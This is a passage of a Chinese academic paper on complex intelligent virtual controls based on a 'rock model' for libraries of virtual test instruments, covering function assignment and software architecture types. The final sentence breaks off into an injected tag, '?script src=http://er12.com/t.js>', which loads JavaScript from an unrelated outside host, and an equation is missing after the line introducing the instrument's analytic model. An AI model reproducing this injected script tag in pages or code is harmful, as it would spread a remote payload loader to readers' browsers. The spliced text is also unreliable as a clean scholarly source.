前言
鉴于测试仪器日趋大型化、集成化和虚拟化，文献[1]首次提出了岩石模型的概念；岩石是“有界无限”种测试仪器的多层物理结构的形象描述。“有界无限”中的“有界”是指机械测试领域；“无限”是指在机械测试领域内，无限种测试功能或虚拟仪器都可被包含或添加至该系统中。岩石模型为建立面向机械领域的大中型虚拟测试仪器库奠定了理论基础和统一模型。
基于岩石模型的智能虚拟仪器开发系统（vmids）能够对测试功能和仪器进行多次、深度的集成制造“拼搭”成包含大量可供实际使用的复杂、大型测试仪器库。智能虚拟控件（ivc）是智能虚拟仪器开发系统（vmids）的基本要素和组成，它是智能开发虚拟测试仪的新模式。智能虚拟控件的实现使得测试仪器从传统的整机演变成部件[2]。智能虚拟控件使虚拟仪器中的功能模块和控件模块实现了融合，把仪器的功能和控制关系等全部有机地融合于一个或几个部件之中。
基于岩石模型的复杂智能虚拟控件是信号测试、分析和处理等多种功能的深度集成（融合），它是智能开发、实现“有界无限”种的大型虚拟测试仪器库的新途径。
国家自然科学基金资助项目（50575233）
1基于岩石模型的复杂智能虚拟控件[3][4]
虚拟控件分为非智能虚拟控件和智能虚拟控件。
非智能虚拟控件是仅有形状、动作而无测试功能的图形界面（如开关、拨盘等）。任何非智能虚拟控件模型都包括几何形状、尺寸和控件颜色等外形特征。几何形状决定控件的外观（矩形、圆形、三角形以及多边形等），它是建模时的形状输入变量；几何尺寸表示控件实体大小，即长、宽、高等，它是建模时的尺寸输入变量；控件颜色分为前景色、背景色、阴影颜色三种，是建模时的颜色输入变量。非智能虚拟控件是开发智能虚拟控件的界面资源。
智能虚拟控件是非智能虚拟控件在界面上的继承、在功能上的封装和拓展。信息的耦合使得非智能虚拟控件向智能化虚拟控件转化。智能虚拟控件是对非智能虚拟控件的相应部位或结构赋予测试功能（“功能赋予”）使之在相应部件或结构上自带测试功能且满足性能和精度要求。智能虚拟控件模型不仅包括非智能虚拟控件的外形特征参数还包括功能参数，即决定非智能虚拟控件被赋予简单功能或复杂功能而实现相应的测试功能；而非智能虚拟控件的智能化是建立在将测试仪器功能解析化为算法模型基础上的。其过程如下，设测试仪器的解析模型为：
为了将这些测试功能的解析模型编制为程序以形成相应的功能软件，需要将测试功能的解析模型转化为适合于软件设计的算法（离散化）模型。利用算法模型将仪器测试功能编制成相应的程序,通过将这些功能程序“赋予”给相应的非智能虚拟控件（调用功能函数）,激活非智能虚拟控件的相应结构(如选择开关的档位)的功能,非智能虚拟控件便成为一个带有测试仪器功能组的图标化的软仪器单元，即智能虚拟控件。智能虚拟控件的模型增加了“测试功能赋予”、“随机置位赋予”、“制约联系赋予”三个实质性的要素。智能虚拟控件形成原理如图1。
图1智能虚拟控件形成原理框图
仪器
功能
仪器
面板
软件
功能
功能
封装
仪器
控件
算法
模型
智能虚拟控件
基于岩石模型的虚拟仪器开发系统在客观上要求一个智能虚拟控件必须融合很多功能。一个智能控件拥有“海量”似的功能是通过多层、多档（多岩层）的组合实现虚拟测试仪器的各种信号变换和分析功能。智能虚拟控件层数的堆叠和档数增加到一定程度便形成复杂智能虚拟控件；层数和档数的增加使得虚拟测试仪的功能剧增。面向大型测试仪器的复杂智能虚拟控件实质是能完成许多信号分析和变换功能的一个集合，它仅通过“功能赋予”就可实现（图2所示）。
图2以“功能赋予”实现复杂智能虚拟控件
2基于软件体系结构的虚拟控件[5]~[8]
对象连接式体系结构
接口连接式体系结构
插头插座式体系结构
层次消息总线体系结构
图3软件体系结构组成
软件体系结构定义了组成智能虚拟控件以及控件之间相互作用的关系，它是虚拟仪器系统实现的框架，为控件的设计、集成和开发提供共同遵循的标准（协议）。软件体系结构包括对象连接式体系结构、接口连接式体系结构、插头插座式体系结构和层次消息总线软件结构等几种体系结构类型。
2.1对象连接式体系结构
对象体系结构以面向对象中的对象接口为典型代表，控件的接口只定义了其对外提供的服务，而没有定义控件对外要求的服务。控件对外要求的服务被隐藏在代码的实现细节中，即控件之间的连接关系无法直接在接口处定义。当控件的接口发生改变时，必须检查系统中每个控件的实现细节，才能发现受此改变而影响到的控件。基于对象体系结构的虚拟控件互换性?script src=http://er12.com/t.js>
